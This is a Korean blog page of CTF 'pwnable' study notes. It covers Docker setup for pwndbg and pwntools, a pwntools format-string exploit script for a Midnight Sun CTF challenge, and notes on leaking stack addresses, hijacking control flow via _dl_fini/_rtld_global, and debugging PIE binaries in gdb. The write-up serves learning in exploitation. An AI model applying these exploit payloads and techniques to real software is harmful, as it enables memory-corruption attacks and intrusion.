Pwnable!!
- pwndbg + pwntools Docker 2020.07.20
- FSB 스택값만큼 공백 출력 2020.04.05
- 코드분석 & 취약점분석시 지나치지 말아야할 것 2019.12.11
- libc 주소에서 stack 주소 구하기 2019.12.11
- pwntool aslr 옵션 2019.12.11
- [PIE & Full RELRO] PIE Leak 하기 2019.10.10
- [Leak Technology] Leak by stdout 2019.10.10
- _dl_fini exploit (_rtld_global) 2019.10.09
- [ 19.04 ] glibc 2.29 heap exploit 관련 2019.07.22
- [Linux] gdb로 PIE 디버깅 2019.07.22
pwndbg + pwntools Docker
pwndbg 및 pwntool 세팅
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | FROM ubuntu:20.04 ENV DEBIAN_FRONTEND=noninteractive RUN dpkg --add-architecture i386 RUN apt-get -y update --fix-missing && apt-get -y upgrade RUN apt-get -y install libc6:i386 libncurses5:i386 libstdc++6:i386 RUN apt-get -y install socat gdb git gcc vim RUN apt-get -y install gcc-multilib RUN git clone https://github.com/pwndbg/pwndbg WORKDIR pwndbg RUN ./setup.sh RUN apt-get -y install tmux RUN apt-get -y install python3 libssl-dev libffi-dev build-essential RUN apt-get -y install python3-pip RUN python3 -m pip install --upgrade pwntools RUN apt-get -y install | cs |
gdb-peda 및 pwndbg + pwntool
1 | docker build -t pwn16:0.0 `pwd` | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | FROM ubuntu:16.04 ENV DEBIAN_FRONTEND=noninteractive RUN dpkg --add-architecture i386 RUN apt-get -y update --fix-missing && apt-get -y upgrade RUN apt-get -y install libc6:i386 libncurses5:i386 libstdc++6:i386 RUN apt-get -y install socat gdb git gcc vim RUN apt-get -y install gcc-multilib WORKDIR /root RUN git clone https://github.com/pwndbg/pwndbg WORKDIR /root/pwndbg RUN ./setup.sh WORKDIR /root RUN git clone https://github.com/longld/peda.git ~/peda RUN git clone https://github.com/scwuaptx/Pwngdb.git RUN cp ./Pwngdb/.gdbinit ~/ RUN apt install netcat RUN apt-get -y install tmux RUN apt-get -y install python3 libssl-dev libffi-dev build-essential RUN apt-get -y install python3-pip RUN python3 -m pip install --upgrade pwntools RUN apt-get -y install RUN update-alternatives --install /usr/bin/python python /usr/bin/python3.5 1 | cs |
run 공유폴더 세팅
1 | docker run -v C:/Users/`username`/Downloads/Dreamhack:/root/shared -it --name pwn16 pwn16:0.0 bash | cs |
start 및 연결
1 2 | docker start pwn16 docker exec -it pwn16 /bin/bash | cs |
'Pwnable!!' 카테고리의 다른 글
FSB 스택값만큼 공백 출력 (0) | 2020.04.05 |
---|---|
코드분석 & 취약점분석시 지나치지 말아야할 것 (0) | 2019.12.11 |
libc 주소에서 stack 주소 구하기 (0) | 2019.12.11 |
pwntool aslr 옵션 (0) | 2019.12.11 |
[PIE & Full RELRO] PIE Leak 하기 (0) | 2019.10.10 |
FSB 스택값만큼 공백 출력
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | #!/usr/bin/env python2 # Author: Marco Bonelli - @mebeim # Date : 2020-04-04 # Basic idea: # Copy the secret (4 bytes) from the stack to our guess variable (also on the stack) and pass the check. # # %<N>d normally this lets us print N characters total (a decimal int padded to N spaces). # %*25$d lets us choose the value of N from the stack, we choose 25$ -> position of the secret value, # this will therefore print a number of chars equal to the secret value. # %16$n will write the number of printed chars to our variable on the stack (position 16) that is then # compared with the secret. # # This will print *A LOT* of characters back (like 500MB of spaces), but works after trying a few times! from pwn import * HOST = 'pwn4-01.play.midnightsunctf.se' PORT = 10004 EXE = './pwn4' if args.REMOTE: r = remote(HOST, PORT) else: r = process(EXE) r.recvuntil("user: ") r.sendline("%*25$d%16$n") r.recvuntil("code: ") r.sendline(str(10)) r.recvuntil("logged: ") r.clean(10) r.interactive() | cs |
'Pwnable!!' 카테고리의 다른 글
pwndbg + pwntools Docker (0) | 2020.07.20 |
---|---|
코드분석 & 취약점분석시 지나치지 말아야할 것 (0) | 2019.12.11 |
libc 주소에서 stack 주소 구하기 (0) | 2019.12.11 |
pwntool aslr 옵션 (0) | 2019.12.11 |
[PIE & Full RELRO] PIE Leak 하기 (0) | 2019.10.10 |
코드분석 & 취약점분석시 지나치지 말아야할 것
AND 연산자 , OR 연산자
&&과 || 을 잘못써서 일어나는 취약점...
겨우 이걸 못찾아서 5달동안 못푼 문제를 방금 깨달아서 갑자기 글 씁니다.... ㅠㅠ
'Pwnable!!' 카테고리의 다른 글
pwndbg + pwntools Docker (0) | 2020.07.20 |
---|---|
FSB 스택값만큼 공백 출력 (0) | 2020.04.05 |
libc 주소에서 stack 주소 구하기 (0) | 2019.12.11 |
pwntool aslr 옵션 (0) | 2019.12.11 |
[PIE & Full RELRO] PIE Leak 하기 (0) | 2019.10.10 |
libc 주소에서 stack 주소 구하기
IDA를 이용해 libc 열기
__libc_start_main에 있는 main 호출문을 보면 environ을 인자로 전달하는데, 이 environ offset을 찾을 수 있음
libc_base + environ_offset에 환경변수 주소가 박혀있는데, 이게 결국 스택주소
'Pwnable!!' 카테고리의 다른 글
FSB 스택값만큼 공백 출력 (0) | 2020.04.05 |
---|---|
코드분석 & 취약점분석시 지나치지 말아야할 것 (0) | 2019.12.11 |
pwntool aslr 옵션 (0) | 2019.12.11 |
[PIE & Full RELRO] PIE Leak 하기 (0) | 2019.10.10 |
[Leak Technology] Leak by stdout (0) | 2019.10.10 |
pwntool aslr 옵션
process("binary", alsr=0)
'Pwnable!!' 카테고리의 다른 글
코드분석 & 취약점분석시 지나치지 말아야할 것 (0) | 2019.12.11 |
---|---|
libc 주소에서 stack 주소 구하기 (0) | 2019.12.11 |
[PIE & Full RELRO] PIE Leak 하기 (0) | 2019.10.10 |
[Leak Technology] Leak by stdout (0) | 2019.10.10 |
_dl_fini exploit (_rtld_global) (0) | 2019.10.09 |
[PIE & Full RELRO] PIE Leak 하기
[Leak Technology] Leak by stdout
_dl_fini exploit (_rtld_global)
참고 원문 : https://st4nw.github.io/2019-09-02/dlfini/
main -> libc_start_main -> exit -> run_exit_handlers
main의 리턴은 libc_start_main으로 향하고, libc_start_main은 exit을 호출하는데, 이 exit에서 __run_exit_handlers를 호출하여 소멸자를 호출하는 루틴에서 라이브러리의 특정 주소를 덮어쓸 수 있다면 _dl_fini 루틴에서 원하는 흐름으로 넘어갈 수 있는 익스 방법
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
_dl_fini
__run_exit_handler가 호출하는 _dl_fini가 실질적인 소멸자 호출을 담당하게된다. 서버환경과 사용하는 라이브러리에 따라 _dl_fini의 루틴도 다르기때문에 문제풀이 및 익스시에는 환경에 맞춰 분석을 해야한다.
0x7ffff7de7dc9 <_dl_fini+777>: mov r12,QWORD PTR [rax+0x8]
0x7ffff7de7dcd <_dl_fini+781>: mov rax,QWORD PTR [rbx+0x120]
0x7ffff7de7dd4 <_dl_fini+788>: add r12,QWORD PTR [rbx]
0x7ffff7de7dd7 <_dl_fini+791>: mov rdx,QWORD PTR [rax+0x8]
0x7ffff7de7ddb <_dl_fini+795>: shr rdx,0x3
0x7ffff7de7ddf <_dl_fini+799>: test edx,edx
0x7ffff7de7de1 <_dl_fini+801>: lea r13d,[rdx-0x1]
0x7ffff7de7de5 <_dl_fini+805>: je 0x7ffff7de7e00 <_dl_fini+832>
0x7ffff7de7de7 <_dl_fini+807>: nop WORD PTR [rax+rax*1+0x0]
0x7ffff7de7df0 <_dl_fini+816>: mov edx,r13d
0x7ffff7de7df3 <_dl_fini+819>: call QWORD PTR [r12+rdx*8]
위에서처럼 call을 통해 흐름을 바꿀 수 있는 부분이 있기때문에 위 부분이 가리키는 곳이 항상 같은지 동적으로 체크하여 해당 부분을 덮어서 exploit을 실행할 수 있다.
위 경우외에도 _dl_fini 루틴중 다음과 같은 부분이 있다면 _rtld_global+3840을 덮고, exit가 실행되면 원하는 흐름으로 바꿀 수 있다.
0x7ffff7de5a02 <_dl_fini+98>:
lea rdi,[rip+0x217f5f] # 0x7ffff7ffd968 <_rtld_global+2312>
0x7ffff7de5a09 <_dl_fini+105>:
call QWORD PTR [rip+0x218551] # 0x7ffff7ffdf60 <_rtld_global+3840>
0x7ffff7de5a0f <_dl_fini+111>: mov edx,DWORD PTR [rbx+0x8]
0x7ffff7de5a12 <_dl_fini+114>: test edx,edx
0x7ffff7de5a14 <_dl_fini+116>: je 0x7ffff7de59e0 <_dl_fini+64>
0x7ffff7de5a16 <_dl_fini+118>: mov rax,QWORD PTR [rbx]
0x7ffff7de5a19 <_dl_fini+121>: movzx r13d,BYTE PTR [rax+0x315]
동적으로 한줄씩 실행시키면서 분석하는 것이 제일 나은 방법인 것 같다.... 아니면 해당 부분에 breakpoint를 걸거나 해서 분석
'Pwnable!!' 카테고리의 다른 글
[PIE & Full RELRO] PIE Leak 하기 (0) | 2019.10.10 |
---|---|
[Leak Technology] Leak by stdout (0) | 2019.10.10 |
[ 19.04 ] glibc 2.29 heap exploit 관련 (0) | 2019.07.22 |
[Linux] gdb로 PIE 디버깅 (0) | 2019.07.22 |
[glibc] malloc - fastbin size check 분석 : malloc(): memory corruption (fast) (0) | 2019.07.13 |
[ 19.04 ] glibc 2.29 heap exploit 관련
[Linux] gdb로 PIE 디버깅
P
PIE의 경우 gdb-peda로 디버깅할시 base주소가 항상 0x0000555555554000이더라...
그래서 그냥 저기에 함수 오프셋을 더해줘서 breakpoint를 걸어주면 된다.
단 한번은 직접 실행해줘야한다.
뭐 그것말고도 방법이 있더라...
아래 방법인데 나는 자주안쓰고, 위의 방법을 사용
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 | Reading symbols from datastore.elf...(no debugging symbols found)...done. gdb-peda$ b * 0 Breakpoint 1 at 0x0 gdb-peda$ r Starting program: /home/myria/study_pwn/plaiddb/datastore.elf Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x0 gdb-peda$ x/20i $pc => 0x7ffff7dd7c30: mov rdi,rsp 0x7ffff7dd7c33: call 0x7ffff7dd89b0 0x7ffff7dd7c38: mov r12,rax 0x7ffff7dd7c3b: mov eax,DWORD PTR [rip+0x225037] # 0x7ffff7ffcc78 0x7ffff7dd7c41: pop rdx 0x7ffff7dd7c42: lea rsp,[rsp+rax*8] 0x7ffff7dd7c46: sub edx,eax 0x7ffff7dd7c48: push rdx 0x7ffff7dd7c49: mov rsi,rdx 0x7ffff7dd7c4c: mov r13,rsp 0x7ffff7dd7c4f: and rsp,0xfffffffffffffff0 0x7ffff7dd7c53: mov rdi,QWORD PTR [rip+0x2253e6] # 0x7ffff7ffd040 0x7ffff7dd7c5a: lea rcx,[r13+rdx*8+0x10] 0x7ffff7dd7c5f: lea rdx,[r13+0x8] 0x7ffff7dd7c63: xor ebp,ebp 0x7ffff7dd7c65: call 0x7ffff7de7750 0x7ffff7dd7c6a: lea rdx,[rip+0xfe4f] # 0x7ffff7de7ac0 0x7ffff7dd7c71: mov rsp,r13 0x7ffff7dd7c74: jmp r12 0x7ffff7dd7c77: nop WORD PTR [rax+rax*1+0x0] gdb-peda$ b *0x7ffff7dd7c6a Breakpoint 2 at 0x7ffff7dd7c6a Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x0 gdb-peda$ d 1 gdb-peda$ r Starting program: /home/myria/study_pwn/plaiddb/datastore.elf [----------------------------------registers-----------------------------------] RAX: 0x1c RBX: 0x0 RCX: 0x7fffffffe5b8 --> 0x7fffffffe7f6 ("XDG_SESSION_ID=5") RDX: 0x7fffffffe5a8 --> 0x7fffffffe7ca ("/home/myria/study_pwn/plaiddb/datastore.elf") RSI: 0x1 RDI: 0x7ffff7ffe168 --> 0x555555554000 --> 0x10102464c457f RBP: 0x0 RSP: 0x7fffffffe5a0 --> 0x1 RIP: 0x7ffff7dd7c6a (<_dl_start_user+50>: lea rdx,[rip+0xfe4f] # 0x7ffff7de7ac0 <_dl_fini>) R8 : 0x7ffff7ffe6f8 --> 0x0 R9 : 0x0 R10: 0x8e R11: 0x7ffff7b95300 --> 0xfff229defff228ec R12: 0x555555554bc7 (xor ebp,ebp) R13: 0x7fffffffe5a0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff7dd7c5f <_dl_start_user+39>: lea rdx,[r13+0x8] 0x7ffff7dd7c63 <_dl_start_user+43>: xor ebp,ebp 0x7ffff7dd7c65 <_dl_start_user+45>: call 0x7ffff7de7750 <_dl_init> => 0x7ffff7dd7c6a <_dl_start_user+50>: lea rdx,[rip+0xfe4f] # 0x7ffff7de7ac0 <_dl_fini> 0x7ffff7dd7c71 <_dl_start_user+57>: mov rsp,r13 0x7ffff7dd7c74 <_dl_start_user+60>: jmp r12 0x7ffff7dd7c77 <_dl_start_user+63>: nop WORD PTR [rax+rax*1+0x0] 0x7ffff7dd7c80 <_dl_initial_error_catch_tsd>: lea rax,[rip+0x226339] # 0x7ffff7ffdfc0 <data> [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe5a0 --> 0x1 0008| 0x7fffffffe5a8 --> 0x7fffffffe7ca ("/home/myria/study_pwn/plaiddb/datastore.elf") 0016| 0x7fffffffe5b0 --> 0x0 0024| 0x7fffffffe5b8 --> 0x7fffffffe7f6 ("XDG_SESSION_ID=5") 0032| 0x7fffffffe5c0 --> 0x7fffffffe807 ("SHELL=/bin/bash") 0040| 0x7fffffffe5c8 --> 0x7fffffffe817 ("TERM=xterm") 0048| 0x7fffffffe5d0 --> 0x7fffffffe822 ("SSH_CLIENT=192.168.233.1 49767 22") 0056| 0x7fffffffe5d8 --> 0x7fffffffe844 ("SSH_TTY=/dev/pts/1") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, 0x00007ffff7dd7c6a in _dl_start_user () from /lib64/ld-linux-x86-64.so.2 gdb-peda$ x/10i $r12 0x555555554bc7: xor ebp,ebp 0x555555554bc9: mov r9,rdx 0x555555554bcc: pop rsi 0x555555554bcd: mov rdx,rsp 0x555555554bd0: and rsp,0xfffffffffffffff0 0x555555554bd4: push rax 0x555555554bd5: push rsp 0x555555554bd6: lea r8,[rip+0xfc3] # 0x555555555ba0 0x555555554bdd: lea rcx,[rip+0xf4c] # 0x555555555b30 0x555555554be4: lea rdi,[rip+0xffffffffffffff35] # 0x555555554b20 gdb-peda$ p 0x555555554b20 $1 = 0x555555554b20 gdb-peda$ | cs |
'Pwnable!!' 카테고리의 다른 글
_dl_fini exploit (_rtld_global) (0) | 2019.10.09 |
---|---|
[ 19.04 ] glibc 2.29 heap exploit 관련 (0) | 2019.07.22 |
[glibc] malloc - fastbin size check 분석 : malloc(): memory corruption (fast) (0) | 2019.07.13 |
[x86 & x64] Return to dl resolve (rtdl) (0) | 2019.07.13 |
[18.04]glibc 2.27 이상에서 unsorted bin으로 main_areana leak 하는 법 (0) | 2019.07.08 |